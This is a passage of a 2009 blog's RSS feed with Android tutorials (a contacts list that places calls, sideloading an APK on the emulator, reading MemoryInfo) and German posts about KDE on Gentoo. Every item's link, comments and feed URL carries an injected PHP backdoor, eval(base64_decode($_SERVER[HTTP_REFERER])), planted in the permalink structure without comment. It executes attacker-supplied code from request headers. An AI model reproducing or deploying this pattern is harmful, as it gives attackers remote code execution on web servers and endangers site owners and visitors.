<span style="color: #000000; font-weight: bold;">protected</span> <span style="color: #000066; font-weight: bold;">void</span> onListItemClick<span style="color: #009900;">&#40;</span><span style="color: #003399;">ListView</span> listView, <span style="color: #003399;">View</span> view, <span style="color: #000066; font-weight: bold;">int</span> position, <span style="color: #000066; font-weight: bold;">long</span> id<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">super</span>.<span style="color: #006633;">onListItemClick</span><span style="color: #009900;">&#40;</span>listView, view, position, id<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>First lets create an Intent object to make a call.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="java" style="font-family:monospace;">Intent intent <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Intent<span style="color: #009900;">&#40;</span>Intent.<span style="color: #006633;">ACTION_CALL</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>Now lets determine on which element we have clicked:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="java" style="font-family:monospace;"><span style="color: #003399;">Cursor</span> cursor <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #003399;">Cursor</span><span style="color: #009900;">&#41;</span> myAdapter.<span style="color: #006633;">getItem</span><span style="color: #009900;">&#40;</span>position<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066; font-weight: bold;">long</span> phoneId <span style="color: #339933;">=</span> cursor.<span style="color: #006633;">getLong</span><span style="color: #009900;">&#40;</span>cursor.<span style="color: #006633;">getColumnIndex</span><span style="color: #009900;">&#40;</span>People.<span style="color: #006633;">PRIMARY_PHONE_ID</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p><strong>Line 1</strong> set the cursor to the correct element using the parameter &#8220;position&#8221;.<br />
<strong>Line 2</strong> gets the phone id, which seems to be the primary key of each contact.</p>
<p>Now we can set the data for the intent and start the activity.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="java" style="font-family:monospace;">intent.<span style="color: #006633;">setData</span><span style="color: #009900;">&#40;</span>ContentUris.<span style="color: #006633;">withAppendedId</span><span style="color: #009900;">&#40;</span>Phones.<span style="color: #006633;">CONTENT_URI</span>, phoneId<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
startActivity<span style="color: #009900;">&#40;</span>intent<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>Finally you should have this:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
</pre></td><td class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">package</span> <span style="color: #006699;">de.warrenfaith.android.contacts</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">android.app.ListActivity</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">android.content.ContentUris</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">android.content.Intent</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">android.database.Cursor</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">android.os.Bundle</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">android.provider.Contacts.People</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">android.provider.Contacts.Phones</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">android.view.View</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">android.widget.ListView</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">android.widget.SimpleCursorAdapter</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> ListContacts <span style="color: #000000; font-weight: bold;">extends</span> ListActivity <span style="color: #009900;">&#123;</span>
&nbsp;
    <span style="color: #000000; font-weight: bold;">private</span> SimpleCursorAdapter myAdapter<span style="color: #339933;">;</span>
&nbsp;
    @Override
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> onCreate<span style="color: #009900;">&#40;</span>Bundle savedInstanceState<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000000; font-weight: bold;">super</span>.<span style="color: #006633;">onCreate</span><span style="color: #009900;">&#40;</span>savedInstanceState<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #003399;">Cursor</span> cursor <span style="color: #339933;">=</span> getContentResolver<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #006633;">query</span><span style="color: #009900;">&#40;</span>People.<span style="color: #006633;">CONTENT_URI</span>, <span style="color: #000066; font-weight: bold;">null</span>, <span style="color: #000066; font-weight: bold;">null</span>, <span style="color: #000066; font-weight: bold;">null</span>, <span style="color: #000066; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        startManagingCursor<span style="color: #009900;">&#40;</span>cursor<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
        <span style="color: #666666; font-style: italic;">// start mappings</span>
        <span style="color: #003399;">String</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> columns <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">String</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #009900;">&#123;</span>People.<span style="color: #006633;">NAME</span>, People.<span style="color: #006633;">NUMBER</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
        <span style="color: #000066; font-weight: bold;">int</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> names <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #000066; font-weight: bold;">int</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #009900;">&#123;</span>R.<span style="color: #006633;">id</span>.<span style="color: #006633;">contact_name</span>, R.<span style="color: #006633;">id</span>.<span style="color: #006633;">phone_number</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
&nbsp;
        myAdapter <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> SimpleCursorAdapter<span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">this</span>, R.<span style="color: #006633;">layout</span>.<span style="color: #006633;">main</span>, cursor, columns, names<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        setListAdapter<span style="color: #009900;">&#40;</span>myAdapter<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    @Override
    <span style="color: #000000; font-weight: bold;">protected</span> <span style="color: #000066; font-weight: bold;">void</span> onListItemClick<span style="color: #009900;">&#40;</span><span style="color: #003399;">ListView</span> listView, <span style="color: #003399;">View</span> view, <span style="color: #000066; font-weight: bold;">int</span> position, <span style="color: #000066; font-weight: bold;">long</span> id<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000000; font-weight: bold;">super</span>.<span style="color: #006633;">onListItemClick</span><span style="color: #009900;">&#40;</span>listView, view, position, id<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
        Intent intent <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Intent<span style="color: #009900;">&#40;</span>Intent.<span style="color: #006633;">ACTION_CALL</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #003399;">Cursor</span> cursor <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #003399;">Cursor</span><span style="color: #009900;">&#41;</span> myAdapter.<span style="color: #006633;">getItem</span><span style="color: #009900;">&#40;</span>position<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #000066; font-weight: bold;">long</span> phoneId <span style="color: #339933;">=</span> cursor.<span style="color: #006633;">getLong</span><span style="color: #009900;">&#40;</span>cursor.<span style="color: #006633;">getColumnIndex</span><span style="color: #009900;">&#40;</span>People.<span style="color: #006633;">PRIMARY_PHONE_ID</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        intent.<span style="color: #006633;">setData</span><span style="color: #009900;">&#40;</span>ContentUris.<span style="color: #006633;">withAppendedId</span><span style="color: #009900;">&#40;</span>Phones.<span style="color: #006633;">CONTENT_URI</span>, phoneId<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
        startActivity<span style="color: #009900;">&#40;</span>intent<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>The last thing you have to do is to grant your application the permission to start the calls and to read the contacts of your phone.<br />
You can do this by add some snippets to your AndroidManifest.xml</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="xml" style="font-family:monospace;"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;uses-permission</span> <span style="color: #000066;">android:name</span>=<span style="color: #ff0000;">&quot;android.permission.READ_CONTACTS&quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;uses-permission</span> <span style="color: #000066;">android:name</span>=<span style="color: #ff0000;">&quot;android.permission.CALL_PHONE&quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span></span></pre></td></tr></table></div>

<p>The file itself should now look like this:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="code"><pre class="xml" style="font-family:monospace;"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;?xml</span> <span style="color: #000066;">version</span>=<span style="color: #ff0000;">&quot;1.0&quot;</span> <span style="color: #000066;">encoding</span>=<span style="color: #ff0000;">&quot;utf-8&quot;</span><span style="color: #000000; font-weight: bold;">?&gt;</span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;manifest</span> <span style="color: #000066;">xmlns:android</span>=<span style="color: #ff0000;">&quot;http://schemas.android.com/apk/res/android&quot;</span></span>
<span style="color: #009900;">      <span style="color: #000066;">package</span>=<span style="color: #ff0000;">&quot;de.warrenfaith.android.contacts&quot;</span></span>
<span style="color: #009900;">      <span style="color: #000066;">android:versionCode</span>=<span style="color: #ff0000;">&quot;1&quot;</span></span>
<span style="color: #009900;">      <span style="color: #000066;">android:versionName</span>=<span style="color: #ff0000;">&quot;1.0.0&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;uses-permission</span> <span style="color: #000066;">android:name</span>=<span style="color: #ff0000;">&quot;android.permission.READ_CONTACTS&quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;uses-permission</span> <span style="color: #000066;">android:name</span>=<span style="color: #ff0000;">&quot;android.permission.CALL_PHONE&quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;application</span> <span style="color: #000066;">android:icon</span>=<span style="color: #ff0000;">&quot;@drawable/icon&quot;</span> <span style="color: #000066;">android:label</span>=<span style="color: #ff0000;">&quot;@string/app_name&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>
        <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;activity</span> <span style="color: #000066;">android:name</span>=<span style="color: #ff0000;">&quot;.ListContacts&quot;</span></span>
<span style="color: #009900;">                  <span style="color: #000066;">android:label</span>=<span style="color: #ff0000;">&quot;@string/app_name&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>
            <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;intent-filter<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
                <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;action</span> <span style="color: #000066;">android:name</span>=<span style="color: #ff0000;">&quot;android.intent.action.MAIN&quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span></span>
                <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;category</span> <span style="color: #000066;">android:name</span>=<span style="color: #ff0000;">&quot;android.intent.category.LAUNCHER&quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span></span>
            <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/intent-filter<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
        <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/activity<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/application<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/manifest<span style="color: #000000; font-weight: bold;">&gt;</span></span></span></pre></td></tr></table></div>

<p>Now you can compile and run the application on your emulator or device.</p>
<p>The next step will be to use the contact picture you once added in the contact.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.warrenfaith.de/2009/02/25/first-list-application/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Installing foreign application on Android Emulator</title>
		<link>http://www.warrenfaith.de/2009/02/24/installing-foreign-application-on-android-emulator/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.warrenfaith.de/2009/02/24/installing-foreign-application-on-android-emulator/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 24 Feb 2009 00:57:03 +0000</pubDate>
		<dc:creator>WarrenFaith</dc:creator>
		
		<category><![CDATA[android]]></category>

		<category><![CDATA[emulator]]></category>

		<category><![CDATA[sd card]]></category>

		<guid isPermaLink="false">http://www.warrenfaith.de/?p=214</guid>
		<description><![CDATA[Attention: My android posts will now be published on droidnova.com &#124; Link to this article: Set up SD card for your android emulator
After reading a lot of blogs, tutorials, developer guides and miscellaneous stuff I started to wonder, if installing an application without the android market and without the sdk tools (ignore the emulator please [...]]]></description>
			<content:encoded><![CDATA[<p>Attention: My android posts will now be published on <a href="http://www.droidnova.com">droidnova.com</a> | Link to this article: <a href="http://www.droidnova.com/set-up-sd-card-for-your-android-emulator,26.html" rel="nofollow">Set up SD card for your android emulator</a></p>
<p>After reading a lot of blogs, tutorials, developer guides and miscellaneous stuff I started to wonder, if installing an application without the android market and without the sdk tools (ignore the emulator please <img src='http://www.warrenfaith.de/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> ) is possible.</p>
<p>Some mailing list entries and blogs mentioned hacks to do so, but I couldn&#8217;t believe it. So whats the right thing to do in this case? Correct: lets try it!</p>
<p>The first thing I needed was an application to install so I took the one I created in my first tutorial: HelloAndroid.<br />
I uploaded it on my web space, started the emulator and typed the URL of the apk in the browser. Android told me instantly that I need to install a SD card. Ok, never done that so far, so I looked and found a page about the <a href="http://mobilebytes.wikidot.com/androidemulatorsetup" rel="nofollow">emulator setup</a>.<br />
So I started creating a SD card image with the command line (could take some time&#8230;)<br />
<code>mksdcard 2048M sdcard.iso</code></p>
<p>Then I started the emulator with the parameter for the SD card image:<br />
<code>emulator -sdcard sdcard.iso</code></p>
<p>If you store your SD card image not in the same directory as the emulator start script, you need to add the path to the image like that:<br />
<code>emulator -sdcard /path/to/androidsdk/tools/sdcard.iso</code></p>
<p>Now I checked if the emulator has found my SD card. Done that with <strong>Menu -> Settings -> SD card &#038; phone storage</strong> and read: 2040 MB total space on SD card was found.</p>
<p>After this setup I could easily download my apk-file from my websapce, install it and run it.</p>
<p>PS: A warning occurred as I tried it a second time but the warning was just to remind me this application was already installed and if I am sure to replace the existing with the new one. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.warrenfaith.de/2009/02/24/installing-foreign-application-on-android-emulator/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Get the ActivityManager for MemoryInfo</title>
		<link>http://www.warrenfaith.de/2009/02/22/get-the-activitymanager-for-memoryinfo/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.warrenfaith.de/2009/02/22/get-the-activitymanager-for-memoryinfo/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 22 Feb 2009 19:24:19 +0000</pubDate>
		<dc:creator>WarrenFaith</dc:creator>
		
		<category><![CDATA[android]]></category>

		<category><![CDATA[ActivityManager]]></category>

		<category><![CDATA[MemoryInfo]]></category>

		<guid isPermaLink="false">http://www.warrenfaith.de/?p=197</guid>
		<description><![CDATA[Attention: My android posts will now be published on droidnova.com
During my first steps of Android programming, i want to know how much memory the device has or how much is really used.
In the Android API I found the ActivityManager class which has a inner class MemoryInfo. Simply instantiation of the ActivityManager failed because there is [...]]]></description>
			<content:encoded><![CDATA[<p>Attention: My android posts will now be published on <a href="http://www.droidnova.com">droidnova.com</a></p>
<p>During my first steps of Android programming, i want to know how much memory the device has or how much is really used.<br />
In the Android API I found the ActivityManager class which has a inner class MemoryInfo. Simply instantiation of the ActivityManager failed because there is no visible constructor.<br />
Searching the web gave no answers only open questions from other developer. So I looked further and I found a method of the Activity class called getSystemService(String name). With a constant from Context.ACTIVITY_SERVICE as parameter it returns me an Object I can cast to ActivityManager. With an instance from MemoryInfo I could now get the information I wanted.<br />
At the moment I don&#8217;t know how to display the memory information in the UI, but I just started <img src='http://www.warrenfaith.de/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /><br />
Here is my short code:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</pre></td><td class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">package</span> <span style="color: #006699;">de.warrenfaith.android.memory</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">android.app.Activity</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">android.app.ActivityManager</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">android.app.ActivityManager.MemoryInfo</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">android.content.Context</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">android.os.Bundle</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> MemoryTest <span style="color: #000000; font-weight: bold;">extends</span> Activity <span style="color: #009900;">&#123;</span>
    @Override
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> onCreate<span style="color: #009900;">&#40;</span>Bundle savedInstanceState<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000000; font-weight: bold;">super</span>.<span style="color: #006633;">onCreate</span><span style="color: #009900;">&#40;</span>savedInstanceState<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        ActivityManager mgr <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>ActivityManager<span style="color: #009900;">&#41;</span> <span style="color: #000000; font-weight: bold;">super</span>.<span style="color: #006633;">getSystemService</span><span style="color: #009900;">&#40;</span><span style="color: #003399;">Context</span>.<span style="color: #006633;">ACTIVITY_SERVICE</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        MemoryInfo memInfo <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> ActivityManager.<span style="color: #006633;">MemoryInfo</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        mgr.<span style="color: #006633;">getMemoryInfo</span><span style="color: #009900;">&#40;</span>memInfo<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        setContentView<span style="color: #009900;">&#40;</span>R.<span style="color: #006633;">layout</span>.<span style="color: #006633;">main</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.warrenfaith.de/2009/02/22/get-the-activitymanager-for-memoryinfo/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>KDE 4.2 läuft und wird doch abgeschafft - samt Gentoo</title>
		<link>http://www.warrenfaith.de/2009/02/18/kde-42-lauft-und-wird-doch-abgeschafft-samt-gentoo/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.warrenfaith.de/2009/02/18/kde-42-lauft-und-wird-doch-abgeschafft-samt-gentoo/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 18 Feb 2009 11:16:18 +0000</pubDate>
		<dc:creator>WarrenFaith</dc:creator>
		
		<category><![CDATA[Eigenes]]></category>

		<category><![CDATA[Gentoo]]></category>

		<category><![CDATA[Software]]></category>

		<category><![CDATA[E220]]></category>

		<category><![CDATA[Huawei]]></category>

		<category><![CDATA[KDE]]></category>

		<category><![CDATA[Linux]]></category>

		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.warrenfaith.de/?p=195</guid>
		<description><![CDATA[Ich hab gestern rund 18h gebraucht, um meinen HUAWEI E220 UMTS-Stick zum laufen zu bringen. Viele Tutorials die teilweise einfach nur schlecht, falsch oder einfach veraltet waren.
Eins der 2 guten, die mir auch wirklich geholfen haben war das hier: Alex Blog
Ansonsten hab ich KDE 4.2 installiert, meine Grafiktreiber geupdated und damit auch die Performanceprobleme behoben, [...]]]></description>
			<content:encoded><![CDATA[<p>Ich hab gestern rund 18h gebraucht, um meinen HUAWEI E220 UMTS-Stick zum laufen zu bringen. Viele Tutorials die teilweise einfach nur schlecht, falsch oder einfach veraltet waren.<br />
Eins der 2 guten, die mir auch wirklich geholfen haben war das hier: <a href="http://blog.0lx.de/base-umts-flatrate-mit-huawei-e220-unter-gentoo-linux/" rel="nofollow">Alex Blog</a></p>
<p>Ansonsten hab ich KDE 4.2 installiert, meine Grafiktreiber geupdated und damit auch die Performanceprobleme behoben, die ich unter KDE hatte.<br />
Dennoch ist die KDE Integration (egal ob 4.1 oder 4.2) unter Gentoo mehr schlecht als recht. Kopete z.B. kann nur Jabber, aber kein ICQ, IRC o.ä. Auch ist das Systemtray mit durchsichtigen Icons bestückt.</p>
<p>So macht das alles einfach keinen Spaß.</p>
<p>Ich werd also Gentoo runterhauen und mit dafür Debian oder Ubuntu draufhauen. Tendiere momentan eher zu Debian testing.</p>
<p>Wenn Ihr Vorschläge oder gar Ratschläge habt, sagt bescheid <img src='http://www.warrenfaith.de/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.warrenfaith.de/2009/02/18/kde-42-lauft-und-wird-doch-abgeschafft-samt-gentoo/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>KDE 4.1 läuft halbwegs</title>
		<link>http://www.warrenfaith.de/2008/12/19/kde-41-lauft-halbwegs/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.warrenfaith.de/2008/12/19/kde-41-lauft-halbwegs/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 19 Dec 2008 01:32:12 +0000</pubDate>
		<dc:creator>WarrenFaith</dc:creator>
		
		<category><![CDATA[Gentoo]]></category>

		<category><![CDATA[Software]]></category>

		<category><![CDATA[Installation]]></category>

		<category><![CDATA[KDE]]></category>

		<category><![CDATA[Konquerer]]></category>

		<category><![CDATA[Kopete]]></category>

		<guid isPermaLink="false">http://www.warrenfaith.de/?p=181</guid>
		<description><![CDATA[Ich hab nun meine Grafikkarte installiert bekommen und prompt ein wenig mit den KDE-Effekten rumgespielt. Allerdings scheint mir das ganze irgendwie nicht wirklich performant zu sein, wenn selbst &#8220;einfache&#8221; Effekte brachten mein gerade mal 1 Jahr alten Laptop zum schwitzen. Frameraten von unter 20 beim minimieren eines Fensters sind schon erschreckend. Da mir nach 5 [...]]]></description>
			<content:encoded><![CDATA[<p>Ich hab nun meine Grafikkarte installiert bekommen und prompt ein wenig mit den KDE-Effekten rumgespielt. Allerdings scheint mir das ganze irgendwie nicht wirklich performant zu sein, wenn selbst &#8220;einfache&#8221; Effekte brachten mein gerade mal 1 Jahr alten Laptop zum schwitzen. Frameraten von unter 20 beim minimieren eines Fensters sind schon erschreckend. Da mir nach 5 Minuten KDE festhing, hab ich einfach alle Effekte deaktiviert und hab nun wieder eine halbwegs ordentliche Performance.</p>
<p>Das mir Kopete abstürzte, liegt wohl an meinem KNetworkManager. Warum? Tja, das gute Ding braucht kde-libs-3.5. Ich hatte kurz alles von kde 3 runtergeschmissen, da ich ja kde4 hab und prompt ging kopete etc. Nur gibt es leider keinen KNetworkManager für KDE 4, also war ich gezwungen, wieder den für 3.5 zu installieren inklusive der kde-libs für 3.5. Nun hab ich die libs für KDE 3.5 und 4 drauf und kopete stürzt wieder ab&#8230; Konquerer übrigends auch!</p>
<p>Ich hab jetzt keine Lust mehr infos dazu zu suchen. Ich werde morgen wohl mal im Gentoo-Forum stöbern gehen.<br />
Vorher wird das aber nochmal reproduziert, damit ich auch keinen Mist erzähle <img src='http://www.warrenfaith.de/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.warrenfaith.de/2008/12/19/kde-41-lauft-halbwegs/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>KDE 4.1 läuft &#8230; oder auch nicht</title>
		<link>http://www.warrenfaith.de/2008/12/18/kde-41-lauft-oder-auch-nicht/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.warrenfaith.de/2008/12/18/kde-41-lauft-oder-auch-nicht/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 18 Dec 2008 18:52:21 +0000</pubDate>
		<dc:creator>WarrenFaith</dc:creator>
		
		<category><![CDATA[Gentoo]]></category>

		<category><![CDATA[Software]]></category>

		<category><![CDATA[Installation]]></category>

		<category><![CDATA[KDE]]></category>

		<guid isPermaLink="false">http://www.warrenfaith.de/?p=178</guid>
		<description><![CDATA[Ich hab es heute endlich geschafft, mein WLAN zu installieren. Dank einem guten HowTo für iwlwifi, welcher seit wenigen Versionen im Kernel ist und einem HowTo für den NetworkManager, konnte ich mich erfolgreich im WLAN anmelden.
Das ist schon mal ganz gut, damit ich auch in der Uni nebenbei noch installieren kann.
Ansonsten ist mein KDE extrem [...]]]></description>
			<content:encoded><![CDATA[<p>Ich hab es heute endlich geschafft, mein WLAN zu installieren. Dank einem guten <a href="http://en.gentoo-wiki.com/wiki/Iwlwifi" rel="nofollow">HowTo für iwlwifi</a>, welcher seit wenigen Versionen im Kernel ist und einem HowTo für den <a href="http://www.gentoo-wiki.info/HOWTO_NetworkManager" rel="nofollow">NetworkManager</a>, konnte ich mich erfolgreich im WLAN anmelden.<br />
Das ist schon mal ganz gut, damit ich auch in der Uni nebenbei noch installieren kann.</p>
<p>Ansonsten ist mein KDE extrem langsam, wahrscheinlich weil meine Grafikkarte noch nicht installiert und konfiguriert ist. Aber auch &#8220;einfache&#8221; Programme wie Kopete wollen nicht so wie ich es will.<br />
Als erstes scheiterte die Kompilierung von Kopete. In einem Bugreport wurde ich fündig. Dort wurde mir gesagt, dass ich qt4 brauche und das mit der USE-Flag &#8220;glib&#8221; kompilieren muss. Gesagt getan, danach ging die Kompilierung. Allerdings konnte ich zwar ICQ und Jabber-Accounts hinzufügen, sobald ich aber auf einen Kontakt geklickt hatte, stürzte es ab. Ebenso beim Klick auf &#8220;Settings->Configure&#8221;.</p>
<p>Nun sitze ich im Moment daran, ein paar updates zu kompilieren und eventuell zu schauen, welche Pakete mit meinen veränderten USE-Flags neukompiliert werden müssten.</p>
